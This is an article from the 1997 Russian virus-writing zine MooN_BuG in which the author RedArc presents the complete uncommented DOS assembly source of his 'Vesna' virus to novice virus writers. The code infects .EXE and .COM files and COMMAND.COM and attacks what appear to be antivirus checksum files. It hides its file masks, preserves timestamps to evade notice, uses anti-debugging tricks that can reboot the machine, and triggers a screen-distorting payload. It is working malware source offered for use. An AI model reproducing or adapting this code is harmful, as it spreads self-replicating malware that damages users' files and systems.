[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997                                           file 005


                                 Вирус VESNA
                                             by RedArc

     Хочу  познакомить  читателей  журнала  MooN BuG с некоторыми алгоритмами,
использованными  в  вирусах  Vesna.  Хотя  это одни из моих первых вирусов, но
многие  приемы могут оказать большую помощь начинающим вирмейкерам в их первых
шагах  борьбы  за  выживаемость со всякими навороченными машинами смерти, типа
анализаторов  кода.  Комментарии  я  удалил  нарочно,  чтобы  было  интереснее
копаться в самом исходнике... ;)
     Вирус  сделан очень примитивно и очень не оптимально, но зато разобраться
в нем не должно составить особого труда.

=== Cut ===
;VESNA

ORG 100h
START:
jmp PROTECTED

FMASK   DB '*'+60h
        DB '.'+60h
        DB 'e'+60h
        DB 'x'+60h
        DB 'e'+60h
        DB  0h+60h
FLAG    db 0
COMMASK DB '*'+60h
        DB '.'+60h
        DB 'c'+60h
        DB 'o'+60h
        DB 'm'+60h
        DB  0h+60h
PRESERV DB 6 dup (?)
FATTR   DW ?
FDATA   DW ?
FTIME   DW ?
LEN_T_1 DW ?
LEN_T_2 DW ?
SAVE_CX DW ?
SAVE_DX DW ?
POINTER dw ?
HAND_T  DW ?
DTA     DW ?
f_chk db 'c'+60h
      db 'h'+60h
      db '*'+60h
      db '.'+60h
      db '*'+60h
      db 60h
f_adi db '*'+60h
      db '.'+60h
      db '░'+60h
      db '░'+60h
      db '░'+60h
      db 60h
;----------------------------------------------------------
VIRLEN EQU 5f5h
;**********************************************************************


PROTECTED:
         call SAVE_905
         call for_hack
         push cs
         pop ds

GET_DOS_VERSION:
              mov ah,30h
              call INTERRUPT
              cmp al,3
              jae GET_DTA
              jmp RESTORE_PROGRAM
GET_DTA:
              MOV AH,2FH
              call INTERRUPT
SET_DTA:
              MOV DTA,BX
              LEA DX,[NEWDTA]
              MOV AH,1AH
              call INTERRUPT
INFECTED:
              mov FLAG,1
              CALL COMMAND_COM
              lea dx,[FMASK]
              call Shadow_Mask
              mov FLAG,0
              call SEARCH
              lea dx,[COMMASK]
              call Shadow_Mask
              mov FLAG,1
              call SEARCH
              lea dx,[f_chk]
              call Shadow_Mask
              mov FLAG,1
              call SEARCH
              lea dx,[f_adi]
              call Shadow_Mask
              mov FLAG,1
              call SEARCH
              call BUSSER
RESTORE_DTA:
              MOV AH,1AH
              MOV DX,DTA
              call INTERRUPT
RESTORE_PROGRAM:
              call LOAD_905
              retf
;**********************************************************************
SAVE_AX dw ?
INTERRUPT:
        MOV SAVE_AX,AX
        PUSHF
        PUSH CS
        MOV AX,OFFSET RET_21
        PUSH AX
        XOR AX,AX
        MOV ES,AX
        MOV AX,SAVE_AX
        JMP DWORD PTR ES:[21H*4]
RET_21:
        RET
;**********************************************************************
WR2EXE:
      push ax
      push bx
      push cx
      push dx
      push si
      push di
      jmp ST_2EXE
;--------------------------------------------------------------
HDR label byte
      Signature dw ?
      partpag   dw ?
      pagecnt   dw ?
      count     dw ?
      hdrsize   dw ?
      minavail  dw ?
      maxavail  dw ?
      reloss    dw ?
      relosp    dw ?
      checks    dw ?
      exeip     dw ?
      relocs    dw ?
LEN_HDR equ $-hdr
;----------------------------------------------------------
IMIT label byte
      mov ax,es
i_1:
      add ax,0
      add ax,10h
      push ax
i_2:
      mov ax,0
      push ax
      mov ax,100h
      push ax
      db 0c3h
LEN_IMIT equ $-imit
;----------------------------------------------------------

ST_2EXE:
      mov ah,42h
      mov bx,HAND_T
      xor cx,cx
      xor dx,dx
      mov al,0
      call INTERRUPT

      mov ah,3fh
      lea dx,[HDR]
      mov cx,len_hdr
      call INTERRUPT

PREP_END:
      mov bx,Signature
      cmp bx,5a4dh
      je CHECK_IDENT
      jmp QUITER_FROM_WREXE
CHECK_IDENT:
      dec bx
      mov Signature,bx
      mov bx,checks
      cmp bx,1995h
      jne NEXT_WORK
      jmp QUITER_FROM_WREXE
NEXT_WORK:
      mov bx,1995h
      mov checks,bx
      mov ax,relocs
      mov word ptr i_1[1],ax
      mov ax,exeip
      mov word ptr i_2[1],ax
      mov cx,LEN_T_1
      mov dx,LEN_T_2
      mov bx,HAND_T
      mov SAVE_CX,cx
      mov SAVE_DX,dx

      mov ah,42h
      mov al,0
      call INTERRUPT

      mov ah,40h
      lea dx,[IMIT]
      mov cx,len_imit
      call INTERRUPT

      jnc WR_SOUR
      jmp QUITER_FROM_WREXE

WR_SOUR:
      mov cx,SAVE_CX
      mov dx,SAVE_DX
      add dx,len_imit
      jnc m1
      inc cx
m1:
      add dx,15
      jnc m2
      inc cx
m2:
      and dx,0fff0h

      mov SAVE_CX,cx
      mov SAVE_DX,dx

      mov ah,42h
      mov al,0
      call INTERRUPT


      lea dx,[START]
      mov ah,40h
      mov cx,VIRLEN
      call INTERRUPT


      mov ax,SAVE_CX
      mov bx,SAVE_DX

      add bx,ax
      mov cl,4
      ror bx,cl
      sub bx,10h
      mov cx,hdrsize
      sub bx,cx
      mov relocs,bx
      mov ax,partpag
      and ax,000fh
      mov bx,ax
      add ax,len_imit
      add ax,15
      and ax,0fff0h
      add bx,100h
      sub bx,ax
      mov exeip,bx

      mov ax,SAVE_CX
      mov bx,SAVE_DX

      add bx,VIRLEN
      jnc m3
      inc ax
m3:
      mov dx,bx
      and dx,1ffh
      mov partpag,dx
      add bx,511
      jnc m4
      inc ax
m4:
      and bh,0feh
      mov ah,bh
      mov cl,9
      ror ax,cl
      mov pagecnt,ax
      mov ah,42h

      mov bx,Signature
      inc bx
      mov Signature,bx

      mov bx,HAND_T
      xor cx,cx
      xor dx,dx
      mov al,0
      call INTERRUPT
      mov ah,40h
      lea dx,[HDR]
      mov cx,len_hdr
      call INTERRUPT

QUITER_FROM_WREXE:
      pop di
      pop si
      pop dx
      pop cx
      pop bx
      pop ax
      ret
;**********************************************************************
SEARCH:
              mov SAVE_DX,dx
              cld

              mov ah,4eh
              mov cx,0efh
              call INTERRUPT

              jb ENDE_PROCEDUR

              mov ah,2fh
              call INTERRUPT
              mov dx,SAVE_DX
              call Shadow_Mask_1
              mov dx,bx

LOOP_SEARCH:
              mov bx,dx

              call PREPROCESSOR

FIND_NEXT:
              mov ah,4fh
              call INTERRUPT
              jb ENDE_PROCEDUR
              loop LOOP_SEARCH

ENDE_PROCEDUR:
              pop bx
              jmp bx
;**********************************************************************
PREPROCESSOR:
              push dx
              add bx,1eh
              mov dx,bx
              call print_name
GET_FATTR:
              mov ax,4300h
              call INTERRUPT
              mov FATTR,cx
SET_FATR:
              mov ax,4301h
              mov cx,20h
              call INTERRUPT
OPEN_FILE:
              mov dx,pointer
              mov ax,3d02h
              call INTERRUPT
              jnc YES_OPEN
              jmp QUITER_FROM_PREPROCESSOR
YES_OPEN:
              mov bx,ax
              mov HAND_T,ax
GET_FDATETIME:
              mov ax,5700h
              call INTERRUPT
              mov FDATA,dx
              mov FTIME,cx
OPEN_TARG:
              mov bx,HAND_T
              mov ah,42h
              xor cx,cx
              xor dx,dx
              mov al,2
              call INTERRUPT

              mov LEN_T_1,dx
              mov LEN_T_2,ax
INFECTED_PROG:
              cmp FLAG,0
              jz exe_file
              call WR2COM
exe_file:
              call WR2EXE
CLOSE_FILE:
              mov ax,5701h
              mov dx,FDATA
              mov cx,FTIME
              call INTERRUPT

              mov ah,3eh
              call INTERRUPT

              mov dx,pointer
              mov ax,4301h
              mov cx,FATTR
              call INTERRUPT
QUITER_FROM_PREPROCESSOR:
              pop dx
              ret
;************************************************************
SAVE_905:
         push bx
         push cx
         push dx
         push si
         push di
         push bp
         push ds
         push es
         mov bp,sp
         xchg ax,[bp+10h]
         push ax
         ret
;**************************************************
LOAD_905:
         pop ax
         mov bp,sp
         xchg ax,[bp+10h]
         pop es
         pop ds
         pop bp
         pop di
         pop si
         pop dx
         pop cx
         pop bx
         ret
;****************************************************
BUSSER:
                call SAVE_905
                mov     ah, 2Ch
                call interrupt
                cmp     ch, cl
                je bus_1
                call LOAD_905
                ret
bus_1:
                mov cx, 70
                jmp     locing
;---------------------------------------------------------
                nop

loc_0_103:
                add     [bx+si], al

loc_0_105:
                add     ax, [bx+si]
locing:
                push    ax
                push    dx
                push    ds
                xor     ax, ax
                mov     ds, ax
                cmp     byte ptr ds:[449h], 3
                ja      loc_0_12E
                push    cs
                pop     ds
                mov     dx, 3DAh

loc_0_11A:
                in      al, dx
                test    al, 8
                jz      loc_0_11A

loc_0_11F:
                in      al, dx
                test    al, 1
                jnz     loc_0_11F
                mov     dx, 3D4h
                mov     al, 8
                mov     ah, byte ptr loc_0_103
                out     dx, ax
loc_0_12E:
                mov     dx, 3DAh
                in      al, dx
                mov     dx, 3C0h
                mov     al, 13h
                mov     ah, byte ptr loc_0_105
                out     dx, ax
                mov     dx, 3DAh
                in      al, dx
                mov     dx, 3C0h
                mov     al, 20h
                out     dx, al
                mov     ax, word ptr loc_0_105
                call    loc_0_160
                mov     word ptr loc_0_105, ax
                mov     ax, word ptr loc_0_103
                call    loc_0_160
                mov     word ptr loc_0_103, ax
                pop     ds
                pop     dx
                pop     ax
                loop locing
                call LOAD_905
                ret
;---------------------------------------------------------

loc_0_160:
                or      ah, ah
                jz      loc_0_16E
                dec     al
                cmp     al, 0FFh
                jnz     loc_0_179
                mov     al, 1
                jmp     loc_0_176
;---------------------------------------------------------

loc_0_16E:
                inc     al
                cmp     al, 7
                jbe     loc_0_179
                mov     al, 6

loc_0_176:
                xor     ah, 1

loc_0_179:
                ret
;---------------------------------------------------------
db 'G'+60h
db 'A'+60h
db 'R'+60h
db 'R'+60h
db 'Y'+60h
db 0ah,0dh,'HERBALIFE',0ah,0dh
;*********************************************************************
Shadow_mask:
        push di
        push si
        lea di,[PRESERV]
        mov si,dx
loop_sh_m:
        mov dl,[si]
        sub dl,60h
        mov [di],dl
        cmp dl,0h
        je ret_sh_m
        inc di
        inc si
        jmp loop_sh_m
ret_sh_m:
        pop si
        pop di
        lea dx,[PRESERV]
        ret
;****************************************************
Shadow_mask_1:
        push dx
        push di
        push cx
        lea di,[PRESERV]
        xor cx,cx
loop_sh_m_1:
        mov dl,0h
        mov [di],dl
        inc cx
        inc dl
        cmp cx,9
        je ret_sh_m_1
        jmp loop_sh_m_1
ret_sh_m_1:
        pop cx
        pop di
        pop dx
        ret
;**********************************************************************
wr2com:
      jmp st_2com

new_beg label byte
      mov ax,cs
c_1:
      add ax,0
      push ax
c_2:
      mov ax,0
      push ax
      db 0cbh
len_new_beg equ $-new_beg

com label byte
      mov di,100h
      push cs
      pop ds
c_3:
      mov ax,0
c_4:
     add ax,0
     and ax,000fh
     mov bx,16
     sub bx,ax
     and bx,000fh
     add bx,len_new_beg
     mov ax,100h
     sub ax,bx
     mov si,ax
     mov cx,len_new_beg
     rep movsb
     push es
     pop ds
     push es
     mov ax,100h
     push ax
     push ax
     db 0c3h
len_com equ $-com

old_beg label byte
     db len_new_beg dup (?)
len_im equ $-com

exiter:
     pop bx
     jmp bx

st_2com:
    mov bx,hand_t
    mov ah,42h
    xor cx,cx
    xor dx,dx
    mov al,0
    call INTERRUPT
    mov ah,3fh
    lea dx,old_beg
    mov cx,len_new_beg
    call INTERRUPT
    jnc prep_beg
    jmp exiter
prep_beg:
    mov ax,word ptr old_beg[0]
    cmp ax,0c88ch
    jne YES_YES
    jmp exiter
YES_YES:
    mov ax,len_t_1
    mov bx,len_t_2
    add bx,len_im
    jnc pr1
    inc ax
pr1:
    add bx,15
    and bx,0fff0h
    add bx,ax
    mov cl,4
    ror bx,cl
    mov word ptr c_1[1],bx
    mov ax,len_t_2
    and ax,000fh
    mov bx,ax
    add ax,len_im
    add ax,15
    and ax,0fff0h
    add bx,100h
    sub bx,ax
    mov word ptr c_2[1],bx
    mov bx,hand_t
    mov ah,42h
    xor cx,cx
    xor dx,dx
    mov al,0
    call INTERRUPT
    mov ah,40h
    lea dx,new_beg
    mov cx,len_new_beg
    call INTERRUPT
prep_c_end:
    mov ax,len_t_2
    mov word ptr c_3[1],ax
    mov word ptr c_4[1],len_im
    mov bx,hand_t
    mov ah,42h
    mov cx,len_t_1
    mov dx,len_t_2
    mov al,0
    call INTERRUPT
wr_end:
    mov ah,40h
    lea dx,com
    mov cx,len_im
    call INTERRUPT
    mov cx,len_t_1
    mov dx,len_t_2
    add dx,len_im
    jnc cal_1
    inc cx
cal_1:
    add dx,15
    jnc cal_2
    inc cx
cal_2:
    and dx,0fff0h
    mov bx,hand_t
    mov ah,42h
    mov al,0
    call INTERRUPT
    mov ah,40h
    lea dx,[START]
    mov cx,VIRLEN
    call INTERRUPT
    ret
;*********************************************************************
print_name:
    push di
    push si
    push dx
    push dx
    pop di
    cmp FLAG,2
    je p_n_r
    pop dx
    pop si
    pop di
    mov word ptr pointer[0],dx
    jmp p_n_q
p_n_r:
    pop dx
    pop si
    pop di
    mov word ptr pointer[0],dx
p_n_q:
    ret
;*********************************************************************
for_hack:
            mov ax, offset no_asm
            push ax
            push ax
            ret

no_asm:
             pop bx
             add bx,6
             push bx
             ret

;**********************************************************************
             push ds
             push si
             mov ax, offset Defrag
             push ax
             mov ax, offset DEBUG_lock
             push ax
             ret
;----------------------------------------------------------------------
Defrag:
      cli
      cld
      db 0eah
      dw 0000h
      dw 0ffffh
;----------------------------------------------------------------------
             pop si
             pop ds
;**********************************************************************
OLD_Protect:
db 2eh
              pushf
              pop ax
              sahf
              jb Defrag
              mov ax, offset no_debug
              push ax
              ret
;**********************************************************************
HA_HA:
         pop ax
         pop bx
         add bx,7
         push bx
         push ax
         ret
;**********************************************************************
DEBUG_lock:
     pop ds
     xor si,si
     push ds
     mov ds,si
     mov si,0004
     mov [si+02],cs
     mov ax, offset dddd
     push ax
     mov ax, offset HA_HA
     push ax
dddd:
     ret
     mov ax, offset defrag
     push ax
no_debug:
     ret
;**********************************************************************
COMMAND_COM:
          call c_c_com
comspect db 'c'
         db ':'
         db '\'
         db 'c'
         db 'o'
         db 'm'
         db 'm'
         db 'a'
         db 'n'
         db 'd'
         db '.'
         db 'c'
         db 'o'
         db 'm'
         db 0h

c_c_com:
           pop bx
           mov word ptr pointer[0],bx
           mov dx,bx

GET_FATT:
              mov ax,4300h
              call INTERRUPT
              mov FATTR,cx
SET_FAT:
              mov ax,4301h
              mov cx,20h
              call INTERRUPT
OPEN_FIL:
              mov dx,pointer
              mov ax,3d02h
              call INTERRUPT
              jnc YES_OPE
              jmp QUITER_FROM_PREPROCESSO
YES_OPE:
              mov bx,ax
              mov HAND_T,ax
GET_FDATETIM:
              mov ax,5700h
              call INTERRUPT
              mov FDATA,dx
              mov FTIME,cx
OPEN_TAR:
              mov bx,HAND_T
              mov ah,42h
              xor cx,cx
              xor dx,dx
              mov al,2
              call INTERRUPT

              mov LEN_T_1,dx
              mov LEN_T_2,ax
INFECTED_PRO:
              call WR2COM
CLOSE_FIL:
              mov ax,5701h
              mov dx,FDATA
              mov cx,FTIME
              call INTERRUPT

              mov ah,3eh
              call INTERRUPT

              mov dx,pointer
              mov ax,4301h
              mov cx,FATTR
              call INTERRUPT
QUITER_FROM_PREPROCESSO:
           pop bx
           jmp bx

;**********************************************************************
NEWDTA label byte
;*********************************************************************

end START
=== Cut ===